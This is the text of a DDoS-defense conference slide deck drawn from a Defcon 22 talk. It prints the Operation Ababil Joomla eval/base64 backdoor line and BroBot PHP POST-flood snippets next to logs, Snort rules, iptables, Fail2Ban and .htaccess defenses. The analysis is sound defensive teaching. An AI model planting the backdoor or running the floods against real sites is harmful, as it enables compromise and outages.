Practical DDoS Defense

Blake Self Principal Security Architect

Based on "Don't DDoS Me Bro" by Blake Self and Shawn "ciscOninja" Burrell at Defcon 22 1

Background

Personal

- Blake currently works as a principal security architect.
 He was directly involved with defending against
 Operation Ababil and has worked to defend SX against
 various DDoS attacks.
- CiscOninja works in threat intelligence and has been a long time member of SX.
- We both did infosec in the USMC
- Disclaimer
 - Opinions/ideas/solutions are from me and not representative or from my employer.


What This Speech Will Cover

- Requirements (for our examples)
- Introduction
- Attack Landscape
 - Attacks from Operation Ababil and SX
- Network Defense and Monitoring
 - Tools and techniques to provide defense and monitoring on the network
- Web Defense and Detection
 - Tools and techniques to provide defense and detection on the webserver
- Reacting to an Attack
 - How to handle DDoS when your organization is under fire
- Best Practices
 - Putting it all together

Requirements

- What do you need for our examples?
 - Linux/Unix
 - Apache2
 - Python and Perl
 - Raspberry Pi
 - 16x2 LCD for RoboAmp (-I lcd option)
 - Snort
 - Inline if possible
 - Network sniffer
 - Hardware if possible
 - Critical thinking skills
 - We're trying to teach you how to adapt your defenses as the attackers improve their offensive capabilities






Introduction - Relevance

• Why this talk is relevant

- Layer 7 (Application) DDoS attacks have been on the rise since at least 2010. Operation Ababil was low in technical complexity, but had a major impact on the financial sector.
- DDoS one of the preferred methods by hacktivists as a form of protest.
- What about CloudFlare/Prolexic/etc
 - Cost
 - Security through obscurity (only as secure as your IP address) for non BGP based solutions
 Website is offline No cached version of this page is available.
 - Web sites often leak IP addresses
 - Historical records
 - DNS bruteforcers (such as Knock)
 - PTR records
 - Privacy concerns



Introduction – What this talk is

What this talk is


- A look at real world layer 7 DDoS attacks and defenses
- An instruction in how to approach DDoS defense as adversaries change their attacks
- Free code and examples
- A bit of humor at the expense of people who conduct DDoS attacks
- What this talk is not
 - Silver bullet to solve all DDoS attacks
 - A political stance on DDoS
 - Me selling you a product
 - Me asking you to try to DDoS my network



Attack Landscape

Layer 7 DDoS

- Amplification attacks biggest pipe wins
- HTTP DDoS our focus
 - Large amounts of GET/POST requests
 - Downloading massive files (such as PDFs)
 - Hitting expensive queries such as search functions
- Other application DDoS attacks future fun
- Why?
 - Lack of skill level necessary to do intrusions
 - Political Protest
 - Unwillingly participation?



Attack Landscape – On the Rise

Layer 7 DDoS

- Drives down cost of DDoS
- High ROI for attackers
- Evades most current carrier mitigations

Our Goals

- Drive up attacker costs
- Reduce our defensive costs
 - Techniques rather than products
- Mitigate when possible
- Get people thinking about solutions to the DDoS problem

GIVE A MAN A FISH and you feed him for a day. TEACH A MAN TO FISH and you feed him for a lifetime.

Example Attacks (AQCF)

• Operation Ababil

- Large scale DDoS attack via php based botnet (BroBot) against American financial institutions
- Wordpress/joomla/etc sites were backdoored with a simple code modification

```
From:
defined(' JEXEC') or die('Restricted access');
```

To:

- defined('_JEXEC') or die(@eval(base64_decode(\$_REQUEST['c_id'])));
- Backdoored sites then were called to do massive GET/POST attacks (large pdf, search functions, etc)

```
Example 1:
```

```
for($i=0;$i<4000;$i++){
```

fwrite(\$socket, "POST / HTTP/1.0\r\nHost: ".\$host."\r\nAccept: */*\r\nContent-Length: ".strlen(\$data)."\r\n\r\n".\$data); fclose(\$fp);

```
}
```

```
Example 2:
```

```
for($i = 0;$i < $num;$i++){
```

```
$fp = fsockopen("tls://".$parts['host'], 443);
stream_set_timeout($fp, 300);
fwrite($fp, http_req());
stream_set_blocking($fp, 0);
$target_sockets[] = $fp;
```

```
}
```

```
function http_req(){
```

- \$rand = md5(microtime().rand(0,500));
- \$host = \$parts['host'];
- \$path = \$parts['path'];
- return "POST \$path HTTP/1.1\r\n" . "Host: \$host\r\n" . "User-Agent: ".\$ua[rand(0,count(\$ua)-1)]."\r\n"
- . "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" . "Accept-Language: en-us,en;q=0.5\r\n"
- . "Accept-Encoding: gzip, deflate\r\n" . "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
- . "Connection: Keep-Alive\r\n" . "Cache-Control: no-cache\r\n" . "Referer: ".\$referer."\r\n"
- . "Cookie: ".getcookie()."\r\n" . "X-FORWARDED-FOR: ".ipgen()."\r\n" . "Via: ".ipgen()."\r\n"
- ."CLIENT-IP: ".ipgen()."\r\n" . "Content-Type: application/x-www-form-urlencoded\r\n"
- . "Content-Length: " . strlen(\$postdata) . "\r\n\r\n"

Example Attacks (SX)

Attacks against soldierx.com

 Mostly small scale DDoS attacks by individuals angry from forum comments, wanting HDB (hacker database) fame, or false HDB changes

Examples:

174.61.38.237 - - [24/Jul/2013:22:44:36 -0400] "GET /system/files/images/critical_01.preview.jpg HTTP/1.1" 403 30581 "-" "Dalvik/ 1.6.0 (Linux; U; Android 4.2.2; Nexus 7 Build/JDQ39)"

174.61.38.237 - - [24/Jul/2013:22:44:38 -0400] "GET /system/files/images/critical_01.preview.jpg HTTP/1.1" 403 30580 "-" "Dalvik/ 1.6.0 (Linux; U; Android 4.2.2; Nexus 7 Build/JDQ39)"

199.255.209.208 - - [02/Nov/2013:07:45:56 -0400] "GET /

UZMVEXPCUGYSFDXJUGIPKHBCNEPYNFZMUTEIRILNWACYKGKLLJWWIEAUHVENVHGKCTCJRAPFKGGWPMZRSESXH SOEMRAUVELTNOI=RYPTYZNXFBPKCIUUKIULSBJISCKMVMFLNYAJOIPQODOPWXNMEBLVRLDMHSSHOBQTPQBDOWU WEDOWGDAFFETPKWBMXHSGYLVWLTA HTTP/1.1" 302 8

34 "-" "*"

199.255.209.208 - - [02/Nov/2013:07:45:56 -0400] "GET / VQQFETHNZLTJSHTKQULAMBELWBRTPAZVKXUECZTZRVCNKZFNMYXBXGDHPJJKWAFXNRCEMPFILVSNYSKGLZFTWG VLPUQYVGCZNOV=TZVOFJYTDSHBJBZYZRGIRCOHSSLARSUBEBLJJZMOFAEUYJCHTAQHWPYDOTHXSRLEBMLJDHSZZ LDWXMEKASYJPTQDQIXZUKVKHUZ HTTP/1.1" 302 834 "-" "*"

209.73.151.188 - - [16/May/2013:07:12:47 -0400] "GET /?= HTTP/1.1" 403 1199 "http://www.google.com/?q=" "TANGO DOWN (+http://twitter.com/VoXLulz1"

209.73.151.188 - - [16/May/2013:07:12:47 -0400] "GET /?= HTTP/1.1" 403 1199 "http://www.usatoday.com/search/results?q=" "TANGO DOWN (+http://twitter.com/VoXLulz1"

209.73.151.188 - - [16/May/2013:07:12:47 -0400] "GET /?= HTTP/1.1" 403 1199 "http://engadget.search.aol.com/search?q=" "TANGO DOWN (+http://twitter.com/VoXLulz1"

209.73.151.188 - - [16/May/2013:07:12:47 -0400] "GET /?= HTTP/1.1" 403 1199 "http://www.soldierx.com/" "TANGO DOWN (+http://twitter.com/VoXLulz1"

91.121.19.26 - - [11/Mar/2013:02:40:26 -0400] "GET /node HTTP/1.0" 200 12062 "https://www.soldierx.com/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0"

91.121.19.26 - - [11/Mar/2013:02:45:41 -0400] "GET /node/ HTTP/1.0" 301 5257 "https://www.soldierx.com/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)"

91.121.19.26 - - [11/Mar/2013:02:45:45 -0400] "GET /node HTTP/1.0" 200 12062 "https://www.soldierx.com/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)"

91.121.19.26 - - [11/Mar/2013:02:46:29 -0400] "GET /node/ HTTP/1.0" 301 5257 "https://www.soldierx.com/" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]"

Example Attacks (DESU)

41.70.152.59 - [13/Oct/2013:12:35:11 -0400] "A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu Desudesudesu~A cat is fine too. Desudesudesu~A cat is Idesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is Idesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is Idesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is Idesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is Idesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is Desudesudesu~A cat is fine too. Desudesudesu~A cat is Idesu~A cat is fine too. Desudesudesu~A cat is fine too. Idesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is Idesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is Idesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is Idesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is Idesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is Idesu~A cat is fine too. Desudesudesu~A cat is fine too. Idesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is Idesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is Desudesudesu~A cat is fine too. Desudesudesu~A cat is Idesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is Idesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is Idesu~A cat is fine too. Desudesudesu~A c" 414 456 "-" "-"

IMMA FIRIN' MAH DESU

Practical DDoS Defense

•

Network Defense

• Carrier (ISP)

- Often mixed capabilities
- Blacklisting malicious IP addresses
- Limit packets/sessions/bandwidth per second per IP
- Blackhole protocol/port (e.g. discard traffic from UDP Floods)
- IPS (e.g. Snort)
 - IPS rules are often ideal for dropping layer 7 DDoS traffic before it reaches the webserver
 - For our examples, we will be using Snort inline
- Load Balancers (e.g. F5)
 - iRules can be used to drop traffic and mitigate many layer 7 DDoS attacks
- Firewalls (e.g. iptables)
 - Blacklisting malicious IP addresses
 - Geographically or by type can be useful or useless depending on adversaries
 - SX blacklists egihosting.com for example
 - Limit packets/sessions/bandwidth per second per IP

Remember our good friend VoXLulz1? 209.73.151.188 - - [16/May/2013:07:12:47 -0400] "GET /?= HTTP/1.1" 403 1199 "http:// www.google.com/?q=" "TANGO DOWN (+http://twitter.com/VoXLulz1"

Network Defense Examples

Blocking VoxLulz1 with snort inline

drop tcp \$EXTERNAL_NET any -> \$HOME_NET \$HTTP_PORTS (msg:"HTTP VoxLulz UA detected";
flow:to_server,established;

content:"User-Agent|3A 20|TANGO DOWN (+http|3A|//twitter.com/VoXLulz1"; http_header; fast_pattern:only; reference:url,soldierx.com;

classtype:web-application-attack; sid:x; rev:1;)

Blocking VoxLulz1 with F5 iRules

```
when HTTP_REQUEST {
    if {([HTTP::header "User-Agent"] matches "TANGO DOWN (+http://twitter.com/VoXLulz1")}
        { log local0. "HTTP VoxLulz UA detected [IP::client_addr]"
            drop
        }
```

```
}
```

Blocking VoxLulz1 via egihosting.com block

```
root@shinra:/# iptables -A INPUT -s 68.68.96.0/24 -j DROP
```

• Limiting connections with iptables

Block IPs that do > 20 connections in 10 minutes: iptables -I INPUT -p tcp --dport 80-i eth0 -m state --state NEW -m recent --set

```
iptables -I INPUT -p tcp --dport 80-i eth0 -m state --state NEW
-m recent --update --seconds 600 --hitcount 20 -j DROP
```

Network Defense - Blocking TOR

• Isn't TOR too slow to take you offline?

- It took hack3r.com offline (again in 2014)
 - <u>https://www.soldierx.com/bbs/201306/Attacks-against-hack3rcom</u>

Is blocking TOR wrong?

 Many attacks come from TOR and it may not make sense for your site to be reachable via TOR (such as a shopping site or banking site)

#!/bin/bash

Block Tor Exit nodes

IPTABLES_TARGET="DROP"

IPTABLES_CHAINNAME="TOR"

if ! iptables -L TOR -n >/dev/null 2>&1 ; then

```
iptables -N TOR >/dev/null 2>&1
```

```
iptables -A INPUT -p tcp -j TOR 2>&1
```

fi

```
cd /tmp/
```

echo -e "\n\tGetting TOR node list from dan.me.uk\n"

```
wget -q -O - "https://www.dan.me.uk/torlist/" -U SXTorBlocker/1.0 > /tmp/full.tor
```

sed -i 's|^#.*\$||g' /tmp/full.tor

```
iptables -F TOR
```

CMD=\$(cat /tmp/full.tor | uniq | sort)

```
for IP in $CMD; do
```

let COUNT=COUNT+1

iptables -A TOR -s \$IP -j DROP

done

iptables -A TOR -j RETURN

echo -e "\n\tiptables is now blocking TOR connections\n" rm /tmp/full.tor

Network Monitoring

• IDS (e.g. Snort)

 IDS rules can be used for detection in place of blocking. For our example, we will be using Snort:

alert tcp \$EXTERNAL_NET any -> \$HOME_NET \$HTTP_PORTS (msg:"HTTP VoxLulz UA detected"; flow:to_server,established;

content:"User-Agent|3A 20|TANGO DOWN (+http|3A|//twitter.com/VoXLulz1"; http_header; fast_pattern:only; reference:url,soldierx.com;

classtype:web-application-attack; sid:x; rev:1;)

Load Balancers (e.g. F5)

 iRules can be used to log traffic of many layer 7 DDoS attacks when HTTP_REQUEST {

if {([HTTP::header "User-Agent"] matches "TANGO DOWN (+http://twitter.com/VoXLulz1")}
 { log local0. "HTTP VoxLulz UA detected [IP::client_addr]"
 #drop

```
}
```

```
}
```

• Monitoring Software (e.g. RoboAmp)


- Runs on a Raspberry Pi
- Uses <= 5 watts of power
- Displays site status on 16x2 LCD
- Sends an SMS message to IT Staff if there is a disruption.

RoboAmp Network Monitoring

• Options

- d Deep check (check url content)
- p Ping check (check network connectivity)
- u <url> URL of site to check
- s <offlineString> String to look for to verify site is offline
- I Use 16x2 LCD (Raspberry PI)
- g <gmailAddress> Gmail address for google voice SMS notification
- t <seconds> Seconds to wait between checks (defaults to
- v Turns on extra verbosity
- Example Usage:

./RoboAmp -d -u https://www.soldierx.com/admin -s 'Site off-line' -g shinobi@gmail.com -t 120 ./RoboAmp -p -u http://www.soldierx.com -g shinobi@gmail.com -t 300





Web Defense

- We will be focusing on Apache2 as this is the web server that SX currently uses, but many techniques will work on other webservers
- .htaccess
 - Protect files/directory listings
 - Block user agents
 - Other clever things like redirecting bad requests/user agents back to themselves, or somewhere like fbi.gov
- mod_evasive (equivalent of IIS Dynamic IP Restrictions)
 - Creates an internal dynamic hash table of IP Addresses and URIs
 - Limit number of requests per file per time interval (seconds)
 - Limit number of overall site requests per time interval (seconds)
 - Default returns 403 for the blocking period, can also run a system command
 - · Provides ability to notify via email when attacks occur
 - Great for driving up attacker costs
- Do these methods really work?

Web Defense – Know Your Enemy

- Yes, these methods have worked well for SX (and others)
- Why?







Stackledraht DDOS Attack Technic running (hent program Hender H

Basement dwelling 12-year olds armed with GET flood script posted to pastebin last tuesday.

Web Defense – Apache2 Examples

.htaccess

Block him: SetEnvlf User-Agent ".*TANGO\ DOWN.*" Skid=1 Deny from env=Skid

.htaccess + mod_rewrite

Redirect him to himself:

<lfModule mod_rewrite.c>

RewriteCond %{HTTP_USER_AGENT} ^.*TANGO\ DOWN.*\$ RewriteRule .* http://%{REMOTE ADDR}/ [R,L]

</lfModule>

Redirect him somewhere more interesting:

<lfModule mod_rewrite.c>

RewriteCond %{HTTP_USER_AGENT} ^.*TANGO\ DOWN.*\$ RewriteRule .* http://www.fbi.gov/ [R,L] </IfModule>

Mod_evasive sample config

IfModule mod_evasive20.c>DOSHashTableSize 3097DOSPageCount 3DOSSiteCount 50DOSPageInterval 3DOSSiteInterval 5DOSBlockingPeriod 1800DOSEmailNotify shinobi@gmail.comDOSLogDir /var/log/mod_evasiveDOSWhitelist 192.168.42.*

Web Defense – Fail2Ban

• Fail2Ban

- Designed to protect against brute-force attacks by analyzing error logs
- Can be pointed at access logs and used for DDoS defense
 - Provides both blocking and notification

Remember this "random" pattern from earlier?

89.253.109.119 - - [02/Nov/2013:07:46:01 -0400] "GET /

CXZBIWYCXLBEKOELCZOTDTSBPWVIRBIGTCMGDJZKWEAHIBRFSQFDDEOQOLNUYRPLBWFNNKGUFBSXITRDGFW QNBSOANJVMVLVEIZ=DZYRGTBVAVSJBVCDRLQBHPOXMOEVMVQDRYXPHZZHUMMSTISKMUXOEORVFQOYESHSV NNDFRPVDITJAYNZSBVYKODFLULLQQNUQOM HTTP/1.1" 404 15650 "-" "*"

89.253.109.119 - - [02/Nov/2013:07:46:00 -0400] "GET / PATPDDSYOSWBPDYMHXLTFUUUYFDACLKBNHHCTVSPFKOLFKQGMRTFBDLDRVINIXXAEVIOKHOCLPGIGHRNDQL QPCIXIKOLGXPHQMB=GFFGXISPOEGSIUOFQWQIBYVWMCNXIEZZSRPQGKWJDQLTUANRUUTUEQEYXMKNXXXCCQ EXSLVNIKBJHABQCEATNSOTGSKYGSFKSQX HTTP/1.1" 404 15650 "-" "*"

199.255.209.208 - - [02/Nov/2013:07:45:56 -0400] "GET / UZMVEXPCUGYSFDXJUGIPKHBCNEPYNFZMUTEIRILNWACYKGKLLJWWIEAUHVENVHGKCTCJRAPFKGGWPMZRSES XHSOEMRAUVELTNOI=RYPTYZNXFBPKCIUUKIULSBJISCKMVMFLNYAJOIPQODOPWXNMEBLVRLDMHSSHOBQTPQB DOWUWEDOWGDAFFETPKWBMXHSGYLVWLTA HTTP/1.1" 302 834 "-" "*"

- 199.255.209.208 - [02/Nov/2013:07:45:56 -0400] "GET / VQQFETHNZLTJSHTKQULAMBELWBRTPAZVKXUECZTZRVCNKZFNMYXBXGDHPJJKWAFXNRCEMPFILVSNYSKGLZFT WGVLPUQYVGCZNOV=TZVOFJYTDSHBJBZYZRGIRCOHSSLARSUBEBLJJZMOFAEUYJCHTAQHWPYDOTHXSRLEBML JDHSZZLDWXMEKA<mark>SYJPT</mark>QDQIXZUKVKHUZ HTTP/1.1" 302 834 "-" "*"
- 199.255.209.208 - [02/N<mark>ov/201</mark>3:07:45:56 -0400] "GET /

PYFFDUKUCRSYUC<mark>XQCK</mark>CAUOQMFZVNOBVLOVHEMOKRCJZUOECQVVTJTVAWLEJNORYKLPGAXIMTCOKDPVYER WUBDWJLVSKHAUAEHMV=MBTLZQPNGNRCYVFFUKOYALFDOUWHLRNSECAANEFQNOOLCTWYAFWFXOXSRWPJJ OBVXKGJSTGKQWLUZZKQJJMUTVNNIVALPZOOSTW HTTP/1.1" 302 834 "-" "*"

199.255.209.208 - - [02/Nov/2013:07:45:56 -0400] "GET / PATPDDSYOSWBPDYMHXLTFUUUYFDACLKBNHHCTVSPFKOLFKQGMRTFBDLDRVINIXXAEVIOKHOCLPGIGHRNDQL QPCIXIKOLGXPHQMB=GFFGXISPOEGSIUOFQWQIBYVWMCNXIEZZSRPQGKWJDQLTUANRUUTUEQEYXMKNXXXCCQ EXSLVNIKBJHABQCEATNSOTGSKYGSFKSQX HTTP/1.1" 302 834 "-" "*"

Web Defense – Fail2Ban Example

Turn "randomized" DDoS attack into a worthless attempt

jail.conf

#DDoS blocks for SX
[apache-dos]
enabled = true
port = http,https
filter = apache-dos
banaction = iptables-allports
action = %(action_mwl)s
logpath = /var/log/apache*/*access.log
maxretry = 1
destemail = shinobi@gmail.com
ignoreip = 127.0.0.1 192.168.0.0/16
bantime = 86400



apache-dos.conf

[Definition] # Option: failregex # Notes: Designed to stop lame DDoS. No DDoS For You! failregex = ^<HOST>.*GET \/[A-Z]{99}\=[A-Z]{99}.*\$ # ignoreregex is here as fail2ban needs it, but we do not. ignoreregex =

Web Defense – Additional Ideas

- Caching
 - Caching systems can cache generated data and greatly reduce load on the server
 - A number of caching systems exist
 - SX is based on Drupal and uses boost for caching
 - Associates have reported success using Squid Proxy for caching
- Other Apache Defenses
 - mod_bwshare
 - Throttle bandwidth per client (IP)
 - mod_limitipconn
 - Limit # of simultaneous connections per IP
- Attempt to Detect Bots
 - Captcha
 - Custom Javascript
 - Detect keystrokes, mouse events, etc

Web Defense – Improved Code

- Strict validation and filtering on user input
- Properly release resources
- Set limits
 - Session related objects and memory allocated
 - Token expiration
 - Loop counters
 - Concurrent session tokens per IP address
 - Expensive queries (often searches) per IP address
- Cache results of expensive queries when possible
- Optimize DB structure for application
- Test code against DoS/DDoS
 - Should be part of quality assurance in your organization

Reacting to an Attack

- Don't Panic!
- Verify Attack
 - Attack or just youtube?
- Read logs
 - Web logs are often ideal initially



- Get top talkers and block on malicious ones
 - # cat access.log | awk '{print \$1}' | sort | uniq -c | sort –n
 - Use some sort of reputation system, especially if sharing the data to other organizations
 - We use a small home grown tool called "reputator"
 - Use cutter to kill existing connections

Top Talkers Example

- Using Desu attack for this example
- Get top talkers from web server logs
 - Decide on a cutoff count

cat access.log | awk '{print \$1}' | sort | uniq -c | sort -n

(x's used to mask full IP addresses) 620 70.75.x.x 626 89.110.x.x 644 64.128.x.x 689 71.195.x.x 695 66.249.x.x 730 89.0.x.x 740 50.130.x.x 776 81.211.x.x 858 99.12.x.x 859 190.154.x.x 889 74.110.x.x 922 101.119.x.x 1009 50.154.x.x 1091 188.51.x.x 1123 62.234.x.x 1129 66.74.x.x 1354 192.168.x.x 1456 66.249.x.x 1709 132.206.x.x 1864 41.70.x.x 2390 192.168.x.x



BE MINDFUL ABOUT STEREOTYPES! ONLY ONE OF THEM IS A CONVICTED FELON.

Top Talkers Example (cont)

./reputator.py ips.txt torlist desu.csv

	reputator .005 by: Blake Self				
-=====================================	======================================	Tor:False Tor:False	ISP:Comcast Cable Communications Holdings Inc ISP:Saudinet Saudi Telecom Company	Location:Kendall, FL, USA Location:Riyadh, Ar Riyad, Saudi Arab	Result: EVIL
IP: 62.234.x.x IP: 66.74.x.x	Rating: 95 Rating: 95	Tor:False Tor:False	ISP:Online Adsl Customers With Static Addresses ISP:Time Warner Cable Internet Llc	Location:Amsterdam, Netherlands Location:Berwyn, IL, USA	Result: EVIL Result: EVIL
IP: 192.168.x.x IP: 66.249.x.x IP: 132.206.x.x	Rating: 50 Rating: 50 Rating: 50	Tor:False Tor:False Tor:False	ISP:Private Ip Address Lan ISP:Google Inc. ISP:Mcqill University	Location:-, -, - Location:Mountain View, CA, USA Location:Montreal, Quebec, Canada	Result: GOOD Result: GOOD Result: GOOD
IP: 132.200.8.8 IP: 41.70.152.59 IP: 192.168.x.x	U U	Tor:False Tor:False	ISP:Mogin University ISP:Movicel Telecomunicacoes Lda ISP:Private Ip Address Lan	Location:Luanda, Luanda, Angola Location:-, -, -	Result: GOOD Result: EVIL Result: GOOD

cat access.log | fgrep 41.70.152.59

cat accessiog igrep 41.70.152.59
41.70.152.59 - [13/Oct/2013:12:43:00 -0400] "A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too.
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Reacting to an Attack (cont)

Read logs

- Look for patterns for Fail2Ban or whatever blocking system you have in place
- Block User Agents
- Block IPs
- Use sniffer + wireshark
 - Beware of SSL
 - Using RSA?
 - Have private key?
 - Snort/F5/Surricata/etc
 - · Identify unique characteristics to block on
 - Often more time intensive, but traffic never reaches the webserver





Sniffer + Wireshark Example

▼ Hypertext Transfer Protocol

♦ GET / HTTP/1.1\r\n

Host: shinra.soldierx.com\r\n Connection: keep-alive\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36\r\n Accept-Encoding: gzip,deflate,sdch\r\n Accept-Language: en-US,en;q=0.8\r\n \r\n

▼ Hypertext Transfer Protocol

GET /index.html HTTP/1.1\r\n

\n

Hypertext Transfer Protocol

```
▶ GET / HTTP/1.1\r\n
```

User-Agent: l33t h4x0r\r\n Host: shinra.soldierx.com\r\n Accept: */*\r\n Referer: http://www.soldierx.com\r\n \r\n



Reacting to an Attack (Aftermath)

- If attack was effective, why?
 - Talk to various teams in your organization
 - Brainstorm!
 - Deploy defenses discussed here (if not already)
 - Test network against a similar attack until defenses are effective
- Hack back?
 - SX Forum users have hacked DDoSers with some success
 - "Is it more risky to continue the same methods of cyber defense (stand in the ring with multiple opponents just bobbing and weaving never throwing a punch) or more risky to start fighting back with jabs, combinations, head and body blows?" – Jeff Bardin, Treadstone71
 - Probably not a good idea in general
 - "If a company can't do defense correctly, why do you think they can do offense right? ... If you can easily and positively attribute, they shouldn't have breached your defenses. You have no business attacking them when you were negligent on defense 101." – Brian "Jericho" Martin, attrition.org

Shame?

Identifying and shaming DDoSers has been effective for SX

Best Practices

- Limit connections with something like mod_evasion
- Have some way(s) to intelligently block bad traffic
 - Snort inline/Fail2ban/etc
- Have sniffer(s) in place to have quick access to traffic
- Tune webserver, database, etc for performance
 - This includes log tuning
 - Configure webserver to log Client IP AND X-Forwarded-For
 - Don't log small static content to reduce log load (css, js, txt, etc)
- Remove/limit search function if not needed
 - Could replace with google search or at least require users to login to site to perform searches
- Avoid hosting public large files when possible
 - Many DDoS attacks have involved hitting large PDF files
- Have a monitoring service such as RoboAmp running
- Share information with similar companies/individuals

Thanks

- Anonymous network technicians that answered questions about various DDoS they have encountered
- cisc0ninja, Amp, The Fixer, lattera, spender, sn4ggl3, Shinobi, Kohelet, EverestX, Jericho, Jeff Bardin, Rhapsody, and the entire soldierx.com community
- DDoS attackers for all of the entertaining nights of laughing at your packets (especially Desu attack)



References and Resources

https://www.soldierx.com http://rules.emergingthreats.net http://www.techstacks.com/howto/log-client-ip-and-xforwardedfor-ip-in-apache.html http://www.rocchi.us/2012/08/mitigate-ddos-with-iptables-and-ipt recent/ http://gr8idea.info/os/tutorials/security/iptables8.html http://www.brianhare.com/wordpress/2011/03/02/block-tor-exit-nodes-using-bash-script/ http://www.zdziarski.com/blog/?page_id=442 http://systembash.com/content/how-to-stop-an-apache-ddos-attack-with-mod evasive/ https://www.owasp.org/images/0/04/Roberto Suggi Liverani OWASPNZDAY2010-Defending against application DoS.pdf http://www.csoonline.com/article/2136485/security-leadership/caution--not-executing-offensive-actions-against-our-adversaries-is-high-risk.html http://webdesignfromscratch.com/iavascript/human-form-validation-check-trick/ http://www.rocchi.us/2012/08/mitigate-ddos-with-iptables-and-ipt recent/ http://www.sans.org/reading-room/whitepapers/hackers/user-agent-field-analyzing-detecting-abnormal-malicious-organization-33874 https://media.blackhat.com/us-13/US-13-Nixon-Denving-Service-to-DDOS-Protection-Services-WP.pdf http://www.dedmeet.com/software-projects-mainmenu-12/fail2ban-to-limit-ddos-attacks-on-webserver.html https://ierichoattrition.wordpress.com/2013/08/12/putting-an-end-to-strike-back-active-defense-debate/ https://rtcamp.com/tutorials/nginx/fail2ban/ https://www.drupal.org/project/boost https://arsecurity.net http://www.penny-arcade.com/comic/2004/03/19 http://www.blyon.com/using-squid-proxy-to-fight-ddos/ https://www.snort.org http://a-infosec.com/2013/11/11/laver-7-ddos-attack-a-web-architect-perspective/ https://learn.adafruit.com/drive-a-16x2-lcd-directly-with-a-raspberry-pi/overview http://resources.infosecinstitute.com/ssl-decryption/ http://www.attrition.org http://www.squidblacklist.org

Practical DDoS Defense

ALL THE LINKS

Q/A

• Questions?



Reach out to me via email: <u>selfbc@gmail.com</u>